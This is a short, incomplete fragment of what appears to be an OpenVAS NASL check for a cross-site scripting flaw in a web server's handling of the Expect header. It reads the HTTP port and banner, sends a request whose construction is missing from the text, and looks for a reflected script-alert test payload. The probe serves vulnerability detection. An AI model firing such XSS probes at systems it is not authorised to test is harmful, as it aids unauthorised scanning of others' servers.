## Get HTTP Port
port = get_http_port(default:80);

## Confirm the application
banner = get_http_banner(port: port);

## Construct attack request

## Try XSS Attack
res = http_keepalive_send_recv(port:port, data:req);

## Check the response to confirm vulnerability
if(res =~ "HTTP/1\.. 200" && "Expect: <script>alert('openvas-xss-test')</script>" >< res){
